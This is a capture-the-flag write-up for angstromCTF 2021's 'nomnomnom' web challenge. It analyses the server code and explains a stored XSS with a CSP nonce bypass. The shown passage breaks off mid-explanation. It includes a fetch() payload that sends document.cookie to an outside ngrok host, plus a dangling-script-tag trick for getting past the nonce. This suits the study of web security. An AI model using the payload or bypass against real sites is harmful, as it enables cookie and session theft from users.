Rating:
# nomnomnom - angstromCTF 2021
- Category: Web
- Points: 130
- Solves: 113
- Solved by: SM_SC2, drw0if
## Description
I've made a new game that is sure to make all the Venture Capitalists want to invest! Care to try it out?
[NOM NOM NOM (the game)](https://nomnomnom.2021.chall.actf.co/)
[source](dist/deploy.zip)
## Overview
We have a "Snake"-like game that asks for our username and sends it with our score to `/record` when we lose.
![game](pictures/game.png)
Then, we are redirected to `shares/{shareName}` if the score is greater than 1, as we can see from the code:
```javascript
app.post('/record', function (req, res) {
if (req.body.name > 100) {
return res.status(400).send('your name is too long! we don\'t have that kind of vc investment yet...');
}
if (isNaN(req.body.score) || !req.body.score || req.body.score < 1) {
res.send('your score has to be a number bigger than 1! no getting past me >:(');
return res.status(400).send('your score has to be a number bigger than 1! no getting past me >:(');
}
const name = req.body.name;
const score = req.body.score;
const shareName = crypto.randomBytes(8).toString('hex');
shares[shareName] = { name, score };
return res.redirect(`/shares/${shareName}`);
})
```
Our username is printed into `/shares/${shareName}` page without any escape. So it's vulnerable to XSS.
```javascript
app.get('/shares/:shareName', function(req, res) {
// TODO: better page maybe...? would attract those sweet sweet vcbucks
if (!(req.params.shareName in shares)) {
return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
}
const share = shares[req.params.shareName];
const score = share.score;
const name = share.name;
const nonce = crypto.randomBytes(16).toString('hex');
let extra = '';
if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) {
extra = `deletion token: ${process.env.FLAG}
`
}
return res.send(`
<html>
<head>
<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
<title>snek nomnomnom</title>
</head>
<body>
${extra}${extra ? '
' : ''}
<h2>snek goes <em>nomnomnom</em></h2>
Check out this score of ${score}!
Play! <button id='reporter'>Report.</button>
This score was set by ${name}
<script nonce='${nonce}'>
function report() {
fetch('/report/${req.params.shareName}', {
method: 'POST'
});
}
document.getElementById('reporter').onclick = () => { report() };
</script>
</body>
</html>`);
});
```
username: `test`
![xss](pictures/xss.png)
Also, it prints the flag if we provide `no_this_is_not_the_challenge_go_away` cookie.
If we click on 'Report' button, the page is sent to `/report/{shareName}`
```javascript
app.post('/report/:shareName', async function(req, res) {
if (!(req.params.shareName in shares)) {
return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
}
await visiter.visit(
nothisisntthechallenge,
`http://localhost:9999/shares/${req.params.shareName}`
);
})
```
and is visited through a puppeteer instance by `visiter.js`
```javascript
async function visit(secret, url) {
const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })
var page = await browser.newPage()
await page.setCookie({
name: 'no_this_is_not_the_challenge_go_away',
value: secret,
domain: 'localhost',
samesite: 'strict'
})
await page.goto(url)
// idk, race conditions!!! :D
await new Promise(resolve => setTimeout(resolve, 500));
await page.close()
await browser.close()
}
```
## Solution
We know that `/shares/{shareName}` is vulnerable to XSS and `no_this_is_not_the_challenge_go_away` cookie is accessible from javascript because `httpOnly` is not set.
So, we have to steal the cookie and make a GET request to `/shares/{shareName}`.
To steal the cookie, we have to inject the following script (we are using ngrok as HTTP bin)
```javascript
fetch('https://2f155d482279.ngrok.io?c=' + document.cookie, { mode: 'no-cors' })
```
Unfortunately, the page uses the CSP `script-src` which blocks scripts execution that doesn't have a valid `nonce`.
```html
<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-e45da5b8e5f5f43cc48806aaabdbccfb'">
```
The policy seems correctly implemented, so there is no way to bypass it.
Looking closer at the HTML code, we can see that what we inject is inserted immediately before a script with a valid nonce. So we have to break this script tag and inject our code.
```html
Play! <button id='reporter'>Report.</button>
This score was set by test
<script nonce='07fdcf843e8050eb15575ae4a6135f94'>
function report() {
```
The solution is loading js through the `src` attribute and leave the tag open. In this way, Firefox, trying to fix the code, will interpret the second `